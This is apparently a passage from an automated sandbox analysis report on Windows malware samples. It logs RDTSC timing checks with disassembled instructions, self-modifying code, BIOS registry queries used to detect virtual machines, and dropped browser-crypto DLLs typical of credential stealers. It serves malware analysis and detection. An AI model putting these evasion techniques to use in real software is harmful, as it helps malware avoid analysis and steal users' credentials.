Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: BFA89F second address: BFA8A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: C24EDA second address: C24EDE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: C1825A second address: C18260 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: C25B20 second address: C25B25 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: C25B25 second address: C25B30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: C25B30 second address: C25B3C instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: C25B3C second address: C25B4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FC14C6D0A26h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: C27FE6 second address: C27FEA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: BF8D89 second address: BF8D8E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: C2C8BF second address: C2C8C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: C2C8C3 second address: C2C8CD instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FC14C6D0A26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: C2F442 second address: C2F484 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b jng 00007FC14CF3D6D6h 0x00000011 popad 0x00000012 popad 0x00000013 pushad 0x00000014 push ebx 0x00000015 jmp 00007FC14CF3D6E8h 0x0000001a jmp 00007FC14CF3D6E0h 0x0000001f pop ebx 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: C2F484 second address: C2F488 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: C2F5B1 second address: C2F5B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: C2F5B5 second address: C2F5B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: C2F5B9 second address: C2F5CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FC14CF3D6D6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edi 0x0000000d jnc 00007FC14CF3D6D6h 0x00000013 push esi 0x00000014 pop esi 0x00000015 pop edi 0x00000016 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: C2F5CF second address: C2F5D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: C2F5D5 second address: C2F5DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FC14CF3D6D6h 0x0000000a rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: C2F730 second address: C2F73D instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: C2F73D second address: C2F74B instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: C2FA29 second address: C2FA2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: C2FA2D second address: C2FA31 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: C2FA31 second address: C2FA3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: C2FA3C second address: C2FA42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: C2FA42 second address: C2FA4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: C2FA4D second address: C2FA51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: C2FA51 second address: C2FA55 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: C2FBC8 second address: C2FBF3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC14CF3D6E0h 0x00000007 jmp 00007FC14CF3D6E7h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: C2FBF3 second address: C2FC06 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC14C6D0A2Dh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: C2FC06 second address: C2FC0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: C2FD91 second address: C2FD95 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: C31B86 second address: C31BB6 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xor dword ptr [esp], 5D225597h 0x0000000f sub dword ptr [ebp+122D1E79h], esi 0x00000015 add edi, dword ptr [ebp+122D3BC4h] 0x0000001b push E769322Fh 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 js 00007FC14CF3D6D6h 0x00000029 je 00007FC14CF3D6D6h 0x0000002f popad 0x00000030 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: C31BB6 second address: C31BBC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: C31CCF second address: C31CD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: C31CD5 second address: C31CE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jp 00007FC14C6D0A2Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: C32011 second address: C32017 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: C32017 second address: C3201B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: C3265D second address: C32663 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: C34B7C second address: C34B82 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: C3563D second address: C35648 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jo 00007FC14CF3D6D6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: C35648 second address: C35669 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FC14C6D0A36h 0x00000010 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: C35669 second address: C356A8 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jbe 00007FC14CF3D6DCh 0x0000000c jns 00007FC14CF3D6D6h 0x00000012 popad 0x00000013 nop 0x00000014 push 00000000h 0x00000016 mov edi, dword ptr [ebp+122D394Ch] 0x0000001c mov edi, dword ptr [ebp+122D3B70h] 0x00000022 push 00000000h 0x00000024 xchg eax, ebx 0x00000025 push eax 0x00000026 push edx 0x00000027 jnc 00007FC14CF3D6E8h 0x0000002d rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: C356A8 second address: C356BF instructions: 0x00000000 rdtsc 0x00000002 jg 00007FC14C6D0A28h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jbe 00007FC14C6D0A2Ch 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: C356BF second address: C356C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: C35FF2 second address: C35FF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: C35FF7 second address: C35FFD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: C36BF0 second address: C36BF6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: C36BF6 second address: C36BFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: C386AA second address: C386E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC14C6D0A33h 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b jbe 00007FC14C6D0A26h 0x00000011 popad 0x00000012 jbe 00007FC14C6D0A3Eh 0x00000018 jmp 00007FC14C6D0A32h 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: C386E4 second address: C386F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007FC14CF3D6DBh 0x0000000b rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: C386F5 second address: C386FB instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: C386FB second address: C3870A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jns 00007FC14CF3D6D6h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: C3436F second address: C34381 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FC14C6D0A26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jp 00007FC14C6D0A26h 0x00000012 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: C3D7BF second address: C3D7DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FC14CF3D6E4h 0x0000000c rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: C3D7DA second address: C3D7EB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FC14C6D0A2Bh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: C3EDB5 second address: C3EE2A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 mov dword ptr [ebp+122D1E5Eh], edi 0x0000000f push 00000000h 0x00000011 push 00000000h 0x00000013 push eax 0x00000014 call 00007FC14CF3D6D8h 0x00000019 pop eax 0x0000001a mov dword ptr [esp+04h], eax 0x0000001e add dword ptr [esp+04h], 00000017h 0x00000026 inc eax 0x00000027 push eax 0x00000028 ret 0x00000029 pop eax 0x0000002a ret 0x0000002b mov bx, 53B4h 0x0000002f push 00000000h 0x00000031 push 00000000h 0x00000033 push ebp 0x00000034 call 00007FC14CF3D6D8h 0x00000039 pop ebp 0x0000003a mov dword ptr [esp+04h], ebp 0x0000003e add dword ptr [esp+04h], 0000001Dh 0x00000046 inc ebp 0x00000047 push ebp 0x00000048 ret 0x00000049 pop ebp 0x0000004a ret 0x0000004b push eax 0x0000004c pushad 0x0000004d push edx 0x0000004e jmp 00007FC14CF3D6E2h 0x00000053 pop edx 0x00000054 push eax 0x00000055 push edx 0x00000056 pushad 0x00000057 popad 0x00000058 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: C3FE86 second address: C3FE8C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: C3FE8C second address: C3FE90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: C42FD6 second address: C42FDA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: C42FDA second address: C43059 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jmp 00007FC14CF3D6E6h 0x0000000c nop 0x0000000d push edi 0x0000000e push ebx 0x0000000f push edi 0x00000010 pop ebx 0x00000011 pop edi 0x00000012 pop ebx 0x00000013 push 00000000h 0x00000015 push 00000000h 0x00000017 push edi 0x00000018 call 00007FC14CF3D6D8h 0x0000001d pop edi 0x0000001e mov dword ptr [esp+04h], edi 0x00000022 add dword ptr [esp+04h], 0000001Ah 0x0000002a inc edi 0x0000002b push edi 0x0000002c ret 0x0000002d pop edi 0x0000002e ret 0x0000002f mov ebx, dword ptr [ebp+122D3B00h] 0x00000035 call 00007FC14CF3D6DDh 0x0000003a mov dword ptr [ebp+122D1D1Eh], esi 0x00000040 pop edi 0x00000041 push 00000000h 0x00000043 cld 0x00000044 mov edi, 36947261h 0x00000049 push eax 0x0000004a pushad 0x0000004b push eax 0x0000004c push edx 0x0000004d jmp 00007FC14CF3D6E1h 0x00000052 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: C43059 second address: C4306B instructions: 0x00000000 rdtsc 0x00000002 jl 00007FC14C6D0A26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jo 00007FC14C6D0A2Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: C45034 second address: C4509C instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b sbb ebx, 512FF07Ah 0x00000011 push 00000000h 0x00000013 push 00000000h 0x00000015 push eax 0x00000016 call 00007FC14CF3D6D8h 0x0000001b pop eax 0x0000001c mov dword ptr [esp+04h], eax 0x00000020 add dword ptr [esp+04h], 00000019h 0x00000028 inc eax 0x00000029 push eax 0x0000002a ret 0x0000002b pop eax 0x0000002c ret 0x0000002d mov ebx, dword ptr [ebp+122D3BA8h] 0x00000033 mov ebx, dword ptr [ebp+122D3B38h] 0x00000039 push 00000000h 0x0000003b call 00007FC14CF3D6DFh 0x00000040 jmp 00007FC14CF3D6DBh 0x00000045 pop ebx 0x00000046 push eax 0x00000047 push eax 0x00000048 push edx 0x00000049 push ecx 0x0000004a jg 00007FC14CF3D6D6h 0x00000050 pop ecx 0x00000051 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: C48161 second address: C4818E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FC14C6D0A2Eh 0x0000000b popad 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 push esi 0x00000011 pop esi 0x00000012 jmp 00007FC14C6D0A31h 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: C4818E second address: C48207 instructions: 0x00000000 rdtsc 0x00000002 je 00007FC14CF3D6D8h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d call 00007FC14CF3D6DBh 0x00000012 mov dword ptr [ebp+12445A6Fh], ecx 0x00000018 pop edi 0x00000019 push 00000000h 0x0000001b push 00000000h 0x0000001d push eax 0x0000001e call 00007FC14CF3D6D8h 0x00000023 pop eax 0x00000024 mov dword ptr [esp+04h], eax 0x00000028 add dword ptr [esp+04h], 00000015h 0x00000030 inc eax 0x00000031 push eax 0x00000032 ret 0x00000033 pop eax 0x00000034 ret 0x00000035 push 00000000h 0x00000037 push 00000000h 0x00000039 push ecx 0x0000003a call 00007FC14CF3D6D8h 0x0000003f pop ecx 0x00000040 mov dword ptr [esp+04h], ecx 0x00000044 add dword ptr [esp+04h], 00000016h 0x0000004c inc ecx 0x0000004d push ecx 0x0000004e ret 0x0000004f pop ecx 0x00000050 ret 0x00000051 sub dword ptr [ebp+124473B2h], esi 0x00000057 xor dword ptr [ebp+122DB95Bh], edi 0x0000005d push eax 0x0000005e push eax 0x0000005f push edx 0x00000060 push eax 0x00000061 push edx 0x00000062 jmp 00007FC14CF3D6DAh 0x00000067 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: C48207 second address: C4820B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: C4820B second address: C48211 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: C48FA3 second address: C48FA7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: C4A005 second address: C4A009 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: C4A009 second address: C4A00D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: C4A00D second address: C4A013 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: C4BE20 second address: C4BE34 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FC14C6D0A2Bh 0x0000000e rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: C4BE34 second address: C4BE8D instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push esi 0x00000004 pop esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 jmp 00007FC14CF3D6E4h 0x0000000e push 00000000h 0x00000010 push 00000000h 0x00000012 push ebx 0x00000013 call 00007FC14CF3D6D8h 0x00000018 pop ebx 0x00000019 mov dword ptr [esp+04h], ebx 0x0000001d add dword ptr [esp+04h], 0000001Ch 0x00000025 inc ebx 0x00000026 push ebx 0x00000027 ret 0x00000028 pop ebx 0x00000029 ret 0x0000002a add dword ptr [ebp+122D30D4h], eax 0x00000030 push 00000000h 0x00000032 jnc 00007FC14CF3D6D7h 0x00000038 xchg eax, esi 0x00000039 push eax 0x0000003a push edx 0x0000003b push eax 0x0000003c push edi 0x0000003d pop edi 0x0000003e pop eax 0x0000003f rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 101FB4B instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 101D17A instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 11F2BC3 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 1253A74 instructions caused by: Self-modifying code
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	Special instruction interceptor: First address: C2C4AB instructions caused by: Self-modifying code
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	Special instruction interceptor: First address: C52674 instructions caused by: Self-modifying code
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	Special instruction interceptor: First address: A8ECE5 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 77C4AB instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 7A2674 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 5DECE5 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\Documents\GCGHCBKFCF.exe

Code function: 14_2_05280272 rdtsc

14_2_05280272

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe TID: 6720	Thread sleep count: 32 > 30	Jump to behavior
